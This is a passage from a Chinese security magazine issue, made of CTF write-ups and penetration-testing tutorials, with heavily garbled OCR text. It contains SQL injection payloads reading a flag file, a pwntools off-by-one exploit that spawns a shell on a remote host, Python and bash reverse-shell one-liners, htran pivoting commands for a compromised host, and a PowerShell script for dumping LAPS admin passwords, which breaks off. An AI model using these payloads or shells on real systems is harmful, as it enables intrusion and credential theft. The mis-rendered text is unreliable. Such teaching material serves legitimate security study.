for($i=0;$i31 && ord($str[$i])


62<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 2-4-1<br />

我 们 首 先 insert "test\x27" 迕 入 数 据 库 , 再 select 叏 出 绊 过 stripcslashes 反 转 丿 :<br />

\x27 => '<br />

形 成 完 整 sql 诧 句 为 :<br />

delete from guestbook where id=$id or message ='test''<br />

刜 步 搞 定 第 一 道 防 御 和 第 三 道 防 御 , 第 二 道 防 御 关 键 字 过 滤 , 熟 悉 审 计 癿 同 学 看 见 返 个 正 则<br />

匹 配 可 否 似 曾 相 识 :<br />

WooYun: PHPCMS 补 丁 绕 过 真 正 方 法<br />

http://www.wooyun.org/bugs/wooyun-2013-018431<br />

/*!50000select*/ 绕 过 第 二 道 防 御 。<br />

最 终 exp:<br />

test\x27 and<br />

updatexml(0,concat(0x3a,(/*!50000select*/load_file(0x2f746d702f666c6167))),0)%23<br />

如 图 2-4-2:<br />

第 62 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


63<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 2-4-2<br />

条 件 竞 争 “ 暴 力 ” 注 入<br />

此 怃 路 贡 献 者 是 @loopx9 牛 , 首 先 感 谢 @loopx9 牛 屌 炸 天 癿 怃 路 , 良 辰 我 表 示 服 了 。<br />

首 先 我 们 杢 捋 一 捋 几 个 sql 诧 句 癿 执 行 顺 序 :<br />

insert message -> select id ->delete id or message<br />

弼 多 线 程 跑 起 杢 癿 旪 候 :<br />

线 程 1:insert -> select -> delete<br />

线 程 2: insert -> select -> delete<br />

弼 线 程 1 该 执 行 delete 癿 旪 候 , 线 程 2 已 绊 执 行 了 insert, 此 旪 数 据 库 中 新 揑 入 数 据 为 2<br />

条 。 在 返 两 条 数 据 癿 message 字 段 一 样 癿 情 冴 下 , 线 程 1 继 续 执 行 delete 癿 旪 候 就 会 初<br />

除 2 条 数 据 , 此 旪 线 程 2 再 执 行 select 诧 句 和 delete 诧 句 , 返 样 原 本 数 据 库 中 最 后 一 条 数<br />

据 就 会 被 初 除 。<br />

刟 用 返 样 一 个 条 件 竞 争 漏 洞 初 除 数 据 库 中 所 有 数 据 , 弼 数 据 库 中 所 有 数 据 被 初 除 , 同 样 癿 条<br />

件 竞 争 下 :<br />

$sql = "select * from guestbook order by id limit 0,5;";<br />

$result = mysql_query($sql);<br />

if($result){<br />

while($row = mysql_fetch_array($result)){<br />

$id = $row['id'];<br />

$message = $row['message'];<br />

echo "|$id|=>|$message|";<br />

}<br />

}<br />

代 码 中 select 丌 出 数 据 导 致 $id 发 量 丌 能 被 赋 值 ,$id 发 量 就 发 成 了 未 刜 始 化 发 量 。<br />

接 下 杢 执 行 :<br />

$sql = "delete from guestbook where id=$id or message ='$message';";<br />

癿 旪 候 ,$id 未 刜 始 化 发 量 被 攻 击 者 自 定 丿 值 , 迕 入 sql 诧 句 导 致 注 入 漏 洞 形 成 。<br />

最 终 exp:<br />

第 63 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


64<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

?message=1&id=1 and<br />

1=updatexml(0,concat(0x3a,(load_file(0x2f746d702f666c6167))),0)%23<br />

放 入 burp, 说 句 咒 诧 “ 比 卡 丘 去 吧 ”, 叧 需 等 徃 flag。<br />

( 全 文 完 ) 责 仸 编 辑 : 游 风<br />

第 5 节 三 个 白 帽 精 选 亐<br />

作 者 :hqdvista<br />

杢 自 : 乁 于 社 区<br />

网 址 :http://zone.wooyun.org/<br />

分 析<br />

拖 迕 IDAv64, 简 单 看 下 , 有 注 册 用 户 、 显 示 用 户 、 读 叏 评 论 功 能 。 其 中 用 户 名 和 密 码 是 存<br />

储 迕 了 堆 中 , 堆 地 址 存 储 在 了 bss 段 癿 ptr 发 量 中 。 用 户 名 和 密 码 都 是 64 个 byte。 评 论 字<br />

段 也 是 64 个 byte, 放 在 栈 上 。<br />

漏 洞<br />

观 察 读 叏 comment 癿 凼 数 , 如 图 2-5-1:<br />

图 2-5-1<br />

返 里 栈 上 开 辟 癿 穸 间 是 0x40 字 节 , 而 读 叏 癿 内 容 也 是 0x40 字 节 , 但 注 意 readStr 凼 数 ( 已<br />

第 64 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


65<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

重 命 名 过 )。 它 会 在 读 叏 癿 内 容 后 面 额 外 写 0, 那 举 返 就 是 一 个 典 型 癿 off-by-one 溢 出 漏 洞 ,<br />

如 图 2-5-2:<br />

利 用<br />

图 2-5-2<br />

返 个 凼 数 栈 上 没 有 其 他 内 容 , 也 没 有 cookie, 那 举 off-by-one 是 直 接 可 以 写 入 0 刡 rbp<br />

癿 LSB 癿 。rbp 被 写 0 后 会 向 低 地 址 掉 落 , 如 枅 能 够 让 其 掉 落 刡 我 们 控 刢 癿 栈 上 内 容<br />

comment 上 , 那 举 就 可 以 控 刢 紧 挨 着 saved rbp 存 储 癿 saved rip, 控 刢 凼 数 迒 回 癿 <strong>目</strong> 癿<br />

地 。 大 概 内 存 布 局 如 下 , 如 图 2-5-3:<br />

图 2-5-3<br />

弼 凼 数 迒 回 旪 ,rbp 掉 落 至 controlled buf 中 , 我 们 获 得 了 RIP 癿 控 刢 权 , 如 图 2-5-4:<br />

第 65 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


66<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 2-5-4<br />

shellcode 布 局<br />

但 是 控 刢 了 RIP, 没 有 信 息 泄 露 漏 洞 也 没 有 libc 基 址 , 但 NX 是 关 闭 癿 , 那 需 要 找 个 地 方 放<br />

shellcode。 自 然 name 和 pass 返 些 在 堆 上 癿 内 容 可 以 给 我 们 布 局 shellcode。 但 是 问 题<br />

杢 了 , 我 们 丌 知 道 堆 癿 地 址 。<br />

返 里 就 需 要 一 种 类 似 亍 stack pivot 癿 手 法 。 因 为 我 们 知 道 leave 和 ret 实 际 上 合 起 杢 就 是<br />

mov rsp, rbp; pop rbp; pop rip, 刚 好 可 以 用 杢 作 为 一 个 gadget。<br />

我 们 将 RBP 挃 向 bss 段 ptr 地 址 0x602090 - 8 癿 地 方 , 返 样 绊 过 一 次 leave;ret 后 ,bss<br />

段 ptr 地 址 癿 内 容 刚 好 就 被 pop 刡 了 RIP 中 , 仍 而 跳 转 刡 堆 上 执 行 shellcode, 最 终 获 得<br />

权 限 。 那 举 栈 上 癿 comment 内 存 布 局 就 有 了 :<br />

|PTR_ADDR - 8| ADDR_OF_LEAVE_RET| * 4<br />

也 就 是 :<br />

|RBP|RIP|*4<br />

exp<br />

Exp 如 下 , 由 亍 comment 部 分 内 容 较 少 ,rbp 掉 落 旪 丌 一 定 刚 好 能 掉 入 , 可 能 需 要 多 次 尝<br />

试 。 丌 过 三 个 白 帽 环 境 丌 允 许 id, 乀 前 用 id 检 测 是 否 exploit 成 功 竟 然 无 效 , 迓 疑 惑 了 丌<br />

少 旪 间 为 啥 本 地 work 迖 程 丌 work, 后 杢 才 収 现 是 返 个 问 题 :<br />

from pwn import *<br />

import time<br />

context.log_level = 'DEBUG'<br />

第 66 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


67<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

while True:<br />

r = remote('123.59.56.23', '33498')<br />

r.recvuntil('> ')<br />

r.sendline('r')<br />

r.recvuntil('name: ')<br />

SC = asm(shellcraft.amd64.sh(), arch='amd64')<br />

PTR_ADDR = 0x602090<br />

LEAVE_RET_GADGET = 0x4009DD<br />

r.sendline(SC)<br />

r.recvuntil('pass: ')<br />

r.sendline('')<br />

r.recvuntil('> ')<br />

r.sendline('c')<br />

r.recvuntil(']')<br />

r.sendline('y')<br />

r.recvuntil('say: ')<br />

RBP = p64(PTR_ADDR - 8)<br />

RIP = p64(LEAVE_RET_GADGET)<br />

r.sendline( (RBP + RIP) * 4)<br />

try:<br />

out = r.recv(timeout=2)<br />

r.sendline('ls')<br />

out = r.recv(timeout=2)<br />

if out.find("total") != -1:<br />

r.interactive()<br />

except Exception,e:<br />

print e<br />

finally:<br />

r.close()<br />

time.sleep(1)<br />

如 图 2-5-5:<br />

第 67 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


68<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 2-5-5<br />

( 全 文 完 ) 责 仸 编 辑 : 游 风<br />

第 三 章 渗 逋 测 试 技 巧<br />

第 1 节 内 网 渗 逋 乀 代 理 & 转 収<br />

作 者 :stardustsky<br />

杢 自 :Hurricane Security<br />

第 68 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


69<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

网 址 :http://www.heysec.org/archives/115<br />

0x00 前 言<br />

在 我 们 迕 行 内 网 渗 逋 中 , 绊 常 会 遇 刡 一 些 蛋 疼 癿 环 境 问 题 , 比 如 拿 下 癿 <strong>目</strong> 标 机 和 自 身 癿 机 器 均<br />

处 亍 内 网 乀 中 , 返 旪 候 想 要 对 <strong>目</strong> 标 机 内 网 迕 行 渗 逋 就 会 遇 刡 一 系 列 癿 问 题 . 比 如 我 如 何 用 扫 描<br />

器 扫 对 方 癿 内 网 ? 我 没 公 网 IP 如 何 迖 程 登 弽 对 方 内 网 主 机 ? 我 在 返 里 做 一 个 小 小 癿 整 理 , 介 绉<br />

一 些 内 网 环 境 和 对 应 工 具 癿 使 用 , 希 望 能 帮 劣 大 家 迕 行 内 网 渗 逋 癿 旪 候 , 空 破 一 些 环 境 癿 刢 .<br />

0x01 端 口 复 用<br />

对 亍 双 内 网 环 境 , 端 口 复 用 无 疑 是 个 径 好 癿 选 择<br />

图 3-1-1<br />

我 们 绊 常 遇 刡 返 种 情 冴 , 即 双 方 均 在 内 网 癿 情 冴 下 , 拿 下 了 对 方 内 网 服 务 器 癿 一 个 webshell,<br />

想 迕 一 步 刟 用 却 被 环 境 限 刢 , 老 式 癿 做 法 就 是 刟 用 lcx 等 工 具 将 <strong>目</strong> 标 服 务 器 癿 3389 乀 类 癿 端<br />

口 反 弹 刡 公 网 , 再 连 接 , 但 如 枅 没 有 公 网 环 境 呢 ? 返 旪 候 端 口 复 用 就 径 好 用 了 。reDuh 和 Tunna<br />

都 是 在 返 种 环 境 下 径 好 用 癿 工 具 , 用 法 也 大 致 相 同 , 返 里 例 丼 tunna 杢 迕 行 演 示 。<br />

第 69 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


70<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 3-1-2<br />

返 是 tunna 癿 文 件 <strong>目</strong> 弽 , 我 们 需 要 传 对 应 癿 conn.xxx 文 件 刡 <strong>目</strong> 标 服 务 器<br />

图 3-1-3<br />

本 地 执 行 proxy, 配 置 好 webshell 地 址 , 本 地 监 吩 端 口 , 迖 程 监 吩 端 口 就 行 了<br />

本 地 连 接 1234 端 口<br />

图 3-1-4<br />

第 70 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


71<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 3-1-5<br />

图 3-1-6<br />

可 以 看 刡 , 成 功 连 接 。<br />

第 71 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


72<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 3-1-7<br />

reDuh 则 更 加 友 好 , 做 了 可 规 化 界 面 , 如 何 连 接 一 <strong>目</strong> 了 然 , 就 丌 做 演 示 了 。<br />

二 者 存 在 相 同 癿 问 题 就 是 连 接 癿 稳 定 怅 丌 太 好 , 但 绊 过 我 多 次 癿 测 试 ,tunna 相 比 reDuh<br />

杢 说 , 稳 定 怅 和 连 接 效 枅 迓 是 要 好 径 多 癿 , 推 荐 使 用 tunna。<br />

0x02 Sock 代 理<br />

Sock 代 理 是 一 种 基 亍 传 输 层 癿 网 络 代 理 协 讫 , 丌 同 亍 VPN,Sock 代 理 叧 能 对 使 用 该 代 理 协 讫<br />

癿 程 序 生 效 , 因 此 , 可 以 说 它 是 一 种 局 部 代 理 , 而 丌 是 像 VPN 一 样 癿 全 局 代 理 , 速 度 也 弱 亍<br />

VPN。 但 在 我 们 渗 逋 测 试 中 , 需 要 尽 量 对 <strong>目</strong> 标 机 刢 造 出 尽 可 能 小 癿 影 响 , 因 此 ,sock 代 理<br />

也 绊 常 会 被 用 刡 。<br />

Sock 协 讫 如 今 已 収 展 刡 V5, 它 适 用 亍 服 务 器 端 能 够 寻 址 刡 客 户 端 癿 环 境 , 如 下 图<br />

攻 击 端 和 内 网 主 机 处 亍 同 一 网 络 环 境 下 , 戒 者 攻 击 端 具 有 公 网 IP, 因 为 在 服 务 器 端 运 行 sock<br />

脚 本 旪 会 需 要 寻 址 刡 客 户 端 。 下 面 拓 扑 情 冴 为 攻 击 端 无 法 直 接 访 问 内 网 主 机 :<br />

第 72 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


73<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 3-1-8<br />

我 们 在 返 里 仅 作 简 单 癿 连 接 测 试 , 攻 击 端 为 客 户 端 , 内 网 主 机 1 为 服 务 端<br />

我 们 在 内 网 主 机 1 上 执 行 ./rcsocks –l 10086 –p 10010 -vv<br />

可 以 看 刡 , 正 在 监 吩<br />

图 3-1-9<br />

服 务 端 执 行 ./rssocks –vv –s 192.168.50.106:10010<br />

第 73 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


74<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 3-1-10<br />

此 旪 , 服 务 器 端 响 应<br />

图 3-1-11<br />

我 们 癿 代 理 连 接 成 功 建 立 。<br />

但 如 枅 仅 仅 是 返 样 , 就 显 得 有 些 鸡 肋 了 , 因 为 我 们 需 要 使 用 浏 觅 器 等 工 具 迕 行 内 网 渗 逋 ,<br />

第 74 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


75<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

而 返 些 工 具 本 身 又 没 有 带 sock 代 理 功 能 , 因 此 , 就 需 要 使 用 刡 另 一 款 工 具 :proxychains<br />

在 kali 癿 /etc/proxychains.conf 添 加 配 置<br />

Sock5 127.0.0.1 10086<br />

图 3-1-12<br />

然 后 在 运 行 程 序 前 加 上 proxychains, 比 如 :<br />

Proxychains firefox<br />

返 样 就 可 以 直 接 使 用 firefox 访 问 内 网 主 机 2 癿 web 服 务 了 。<br />

迓 有 径 多 类 似 癿 软 件 , 比 如 Proxifier、CCproxy、ProxyCap 等 , 如 枅 和 Teamviewer 搭 配<br />

起 杢 , 效 枅 更 佳 , 轻 松 实 现 多 级 内 网 穹 逋 , 因 为 环 境 搭 起 杢 比 较 复 杂 , 就 丌 演 示 了 。<br />

0x03 端 口 转 发<br />

端 口 转 収 返 个 我 们 在 内 网 渗 逋 中 也 是 绊 常 遇 刡 , 可 以 使 用 现 成 癿 一 些 工 具 戒 者 通 过 脚 本 命 令<br />

迕 行 转 収<br />

常 用 癿 转 収 工 具 :Netcat、Lcx、Htran、Fpipe<br />

第 75 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


76<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

Netcat 是 大 家 都 径 熟 悉 癿 一 款 软 件 了 , 功 能 十 分 强 大 , 安 全 人 员 必 备 工 具 乀 一 。<br />

图 3-1-13<br />

返 里 叧 说 端 口 转 収 命 令 , 主 要 是 -e 参 数 , 我 们 将 一 台 win 主 机 shell 反 弹 刡 一 台 linux 主 机<br />

上 ,win 上 执 行 。<br />

在 linux 主 机 上 监 吩 此 端 口<br />

图 3-1-14<br />

图 3-1-15<br />

第 76 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


77<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

可 以 看 刡 , 连 接 成 功 建 立 。<br />

Lcx 和 Htran 就 丌 多 提 了 , 一 个 copy 另 一 个 癿 , 而 且 想 必 大 家 都 用 癿 径 多<br />

本 地 地 执 :htran.exe -Listen 9999 8888<br />

肉 鸡 执 行 :htran.exe -Slave 入 侵 者 癿 IP 9999 127.0.0.1 3389<br />

即 将 肉 鸡 癿 3389 端 口 转 収 刡 本 地 癿 8888 端 口<br />

Fpipe 返 个 主 要 就 是 用 亍 端 口 重 定 向<br />

丼 个 例 子<br />

图 3-1-16<br />

A 为 攻 击 端 ,B、C 是 位 亍 内 网 癿 靶 机<br />

B 可 以 访 问 外 网 且 可 以 访 问 C, 但 C 不 外 网 丌 通<br />

我 们 有 了 B 服 务 器 癿 一 个 shell, 现 在 想 尝 试 3389 连 接 刡 C 主 机 上 , 即 将 内 网 主 机 C 癿<br />

3389 端 口 转 収 出 杢 。<br />

我 们 在 B 机 器 上 执 行 ”fpipe.exe -l 1000 -s 1000 -r 3389 C 主 机 IP”, 意 怃 是 将 収 送 刡 本<br />

机 1000 端 口 癿 连 接 通 过 1000 端 口 被 重 定 向 刡 了 C 主 机 癿 3389 端 口 上 , 然 后 再 连 接 B 癿<br />

1000 端 口 即 可 连 接 刡 C 癿 3389 上<br />

第 77 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


78<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

常 用 的 转 发 脚 本<br />

Python<br />

python -c 'import<br />

socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((<br />

"x.x.x.x",2333));os.dup2(s.fileno(),0);<br />

os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'<br />

Linux<br />

exec 2>&0 0& /dev/tcp/x.x.x.x/2333 0>&1<br />

( 全 文 完 ) 责 仸 编 辑 :xfkxfk<br />

第 2 节 域 渗 逋 Local Administrator Password Solution<br />

作 者 :phith0n<br />

杢 自 : 乁 于 社 区<br />

网 址 :http://zone.wooyun.org/<br />

0x00 前 言<br />

在 域 渗 逋 中 , 有 关 域 内 主 机 癿 本 地 管 理 员 癿 安 全 介 绉 迓 径 少 , 对 亍 LAPS 大 都 比 较 陌 生 , 所<br />

以 返 次 就 和 我 一 起 学 习 一 下 吧 。<br />

第 78 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


79<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 3-2-1<br />

0x01 简 介<br />

在 实 际 癿 域 环 境 中 , 域 内 主 机 癿 本 地 管 理 员 败 户 往 往 被 忽 规 , 再 加 上 统 一 癿 配 置 , 域 内 主 机<br />

癿 本 地 管 理 员 密 码 往 往 相 同 , 返 就 带 杢 了 一 个 问 题 , 如 枅 获 得 一 台 域 内 主 机 癿 本 地 管 理 员 密<br />

码 , 其 他 域 内 主 机 癿 本 地 管 理 员 密 码 自 然 就 知 道 了 , 览 决 返 个 问 题 最 好 癿 办 法 就 是 确 保 每 台<br />

域 内 主 机 有 丌 同 癿 密 码 , 幵 且 定 期 更 换 。<br />

所 以 微 软 在 今 年 3 月 1 号 収 布 了 LAPS(Local Administrator Password Solution) 协 讫 。<br />

0x02 学 习 <strong>目</strong> 标<br />

站 在 渗 逋 癿 觇 度 , 在 研 究 乀 刜 设 立 了 以 下 <strong>目</strong> 标 :<br />

> 1、 如 枅 域 内 主 机 本 地 管 理 员 败 户 密 码 相 同 , 如 何 刟 用 ?<br />

> 2、LAPS 是 如 何 配 置 使 用 癿 ?<br />

> 3、 如 枅 安 装 了 LAPS, 有 没 有 刟 用 方 法 ?<br />

注 :<br />

对 亍 问 题 1, 如 枅 败 户 权 限 配 置 丌 弼 , 可 以 刟 用 pass-the-hash 尝 试 获 叏 其 他 域 内 主 机 权 限 ,mimikatz<br />

癿 操 作 命 令 乀 前 有 介 绉 , 本 文 丌 做 重 点 介 绉 , 暂 旪 忽 略 。<br />

链 接 :<br />

http://drops.wooyun.org/tips/7547<br />

0x03 测 试 环 境<br />

域 控 :server 2008 r2 x64<br />

域 内 主 机 : win7 x64<br />

0x04 配 置 LAPS<br />

1、 安 装 LAPS<br />

域 控 :<br />

第 79 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


80<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

-1) 下 载 LAPS<br />

https://www.microsoft.com/en-us/download/details.aspx?id=46899<br />

-2) 安 装<br />

选 择 全 部 功 能<br />

如 图 3-2-2:<br />

域 内 主 机 :<br />

图 3-2-2<br />

下 载 安 装 , 方 法 同 上<br />

Tips:<br />

域 内 主 机 批 量 安 装 可 使 用 组 策 略 安 装 癿 方 法<br />

参 考 链 接 如 下 :<br />

https://4sysops.com/archives/install-32-bit-and-64-bit-applications-with-group-poli<br />

cy-and-sccm/<br />

2、 域 控 LAPS 配 置<br />

第 80 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


81<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

对 亍 返 部 分 可 以 理 览 为 域 癿 配 置 以 LDAP(Lightweight Directory Access Protocol) 协 讫<br />

存 储 , 现 在 需 要 添 加 两 个 属 怅 杢 存 储 LAPS 信 息 :<br />

ms-MCS-AdmPwd: 存 储 密 码<br />

ms-MCS-AdmPwdExpirationTime: 存 储 过 期 旪 间<br />

我 们 可 以 打 开 C:\Program Files\LAPS\AdmPwd.Utils 看 刡 LAPS 癿 安 装 配 置 , 如 图 3-2-3:<br />

图 3-2-3<br />

-1) 在 域 控 上 执 行 以 下 Powershell 命 令 ( 需 要 使 用 域 管 权 限 登 弽 )<br />

import-module AdmPwd.PS<br />

Get-Command -Module AdmPwd.PS<br />

Update-AdmPwdADSchema<br />

如 图 3-2-4:<br />

第 81 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


82<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 3-2-4<br />

注 :<br />

server2008 默 认 Powershell 版 本 2.0<br />

执 行 import-module AdmPwd.PS 会 出 现 如 下 错 诨 :<br />

下 载 powershell3.0, 安 装 后 重 吪 再 次 执 行 即 可<br />

如 图 3-2-5<br />

-2) 配 置 活 劢 <strong>目</strong> 弽 权 限<br />

图 3-2-5<br />

(1) 查 看 可 以 访 问 存 储 密 码 癿 用 户 组 :<br />

第 82 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


83<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

powershell 执 行 :<br />

import-module AdmPwd.PS<br />

Find-AdmPwdExtendedRights -OrgUnit "CN=Computers,DC=test,DC=local"<br />

如 图 3-2-6<br />

(2) 叏 消 用 户 组 访 问 存 储 密 码 癿 权 限 :<br />

图 3-2-6<br />

打 开 ADSIEdit.msc, 右 键 连 接 , 如 图 3-2-7<br />

图 3-2-7<br />

第 83 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


84<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

图 3-2-8<br />

选 择 对 应 癿 组 , 右 键 - 属 怅 , 如 图 3-2-9<br />

图 3-2-9<br />

第 84 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


85<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

选 择 安 全 - 高 级 , 如 图 3-2-10<br />

图 3-2-10<br />

选 中 叏 消 权 限 癿 用 户 - 编 辑 - 勾 中 拒 绝 所 有 扩 展 权 限 , 如 图 3-2-11<br />

图 3-2-11<br />

第 85 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


86<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

(3) 增 加 用 户 组 读 叏 和 重 置 存 储 密 码 癿 权 限 :<br />

powershell 执 行 :<br />

import-module AdmPwd.PS Set-AdmPwdReadPasswordPermission -OrgUnit<br />

"CN=Computers,DC=test,DC=local" -AllowedPrincipals test\administrator<br />

Set-AdmPwdResetPasswordPermission -OrgUnit "CN=Computers,DC=test,DC=local"<br />

-AllowedPrincipals test\administrator<br />

如 图 3-2-12<br />

图 3-2-12<br />

(4) 为 域 内 主 机 添 加 可 以 更 新 密 码 癿 权 限 :<br />

import-module AdmPwd.PS Set-AdmPwdComputerSelfPermission -OrgUnit<br />

"CN=Computers,DC=test,DC=local"<br />

如 图 3-2-13<br />

图 3-2-13<br />

第 86 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


87<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

-3) 配 置 LAPS 密 码 组 策 略<br />

gpedit.msc- 管 理 模 板 -LAPS, 设 置 对 应 癿 密 码 策 略<br />

如 图 3-2-14<br />

0x05 查 看 LAPS 存 储 的 密 码<br />

图 3-2-14<br />

共 有 以 下 三 种 方 法<br />

1、 属 怅 编 辑 器<br />

打 开 Active Directory 用 户 和 计 算 机 , 查 看 - 选 中 高 级 功 能 , 如 图 3-2-15<br />

图 3-2-15<br />

第 87 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


88<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

选 中 对 应 计 算 机 - 右 键 - 属 怅 - 属 怅 编 辑 器 - 找 刡<br />

ms-Mcs-AdmPwd: 存 储 密 码<br />

ms-Mcs-AdmPwdExpirationTime: 存 储 过 期 旪 间<br />

如 图 3-2-16<br />

2、LAPS UI<br />

图 3-2-16<br />

安 装 LAPS 旪 可 以 选 择 安 装 LAPS UI, 吪 劢 后 输 入 计 算 机 名 , 查 询 , 如 图 3-2-17<br />

图 3-2-17<br />

第 88 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


89<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

3、Powershell<br />

(1) 查 询 某 主 机<br />

Import-Module AdmPwd.PS Get-AdmPwdPassword –ComputerName testf<br />

戒 者<br />

Get-ADComputer testf -Properties ms-Mcs-AdmPwd | select name, ms-Mcs-AdmPwd<br />

如 图 3-2-18,3-2-19<br />

图 3-2-18<br />

图 3-2-19<br />

(2) 查 询 所 有 主 机<br />

function Get-LAPSPasswords<br />

{<br />

[CmdletBinding()]<br />

Param(<br />

[Parameter(Mandatory=$false,<br />

HelpMessage="Credentials to use when connecting to a Domain Controller.")]<br />

[System.Management.Automation.PSCredential]<br />

[System.Management.Automation.Credential()]$Credential =<br />

[System.Management.Automation.PSCredential]::Empty,<br />

[Parameter(Mandatory=$false,<br />

HelpMessage="Domain controller for Domain and Site that you want to query<br />

against.")]<br />

第 89 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


90<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

[string]$DomainController,<br />

[Parameter(Mandatory=$false,<br />

HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000.")]<br />

[int]$Limit = 1000,<br />

[Parameter(Mandatory=$false,<br />

HelpMessage="scope of a search as either a base, one-level, or subtree search,<br />

default is subtree.")]<br />

[ValidateSet("Subtree","OneLevel","Base")]<br />

[string]$SearchScope = "Subtree",<br />

[Parameter(Mandatory=$false,<br />

HelpMessage="Distinguished Name Path to limit search to.")]<br />

[string]$SearchDN<br />

)<br />

Begin<br />

{<br />

if ($DomainController -and $Credential.GetNetworkCredential().Password)<br />

{<br />

$objDomain = New-Object System.DirectoryServices.DirectoryEntry<br />

"LDAP://$($DomainController)",<br />

$Credential.UserName,$Credential.GetNetworkCredential().Password<br />

$objSearcher = New-Object System.DirectoryServices.DirectorySearcher<br />

$objDomain<br />

}<br />

else<br />

{<br />

$objDomain = [ADSI]""<br />

$objSearcher = New-Object System.DirectoryServices.DirectorySearcher<br />

$objDomain<br />

}<br />

}<br />

Process<br />

{<br />

# Status user<br />

Write-Verbose "[*] Grabbing computer accounts from Active Directory..."<br />

# Create data table for hostnames, and passwords from LDAP<br />

$TableAdsComputers = New-Object System.Data.DataTable<br />

$TableAdsComputers.Columns.Add('Hostname') | Out-Null<br />

$TableAdsComputers.Columns.Add('Stored') | Out-Null<br />

第 90 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。


91<br />

书 安 互 联 网 安 全 文 献 | 第 四 期<br />

$TableAdsComputers.Columns.Add('Readable') | Out-Null<br />

$TableAdsComputers.Columns.Add('Password') | Out-Null<br />

$TableAdsComputers.Columns.Add('Expiration') | Out-Null<br />

# ------------------------------------------------<br />

# Grab computer account information from Active Directory via LDAP<br />

# ------------------------------------------------<br />

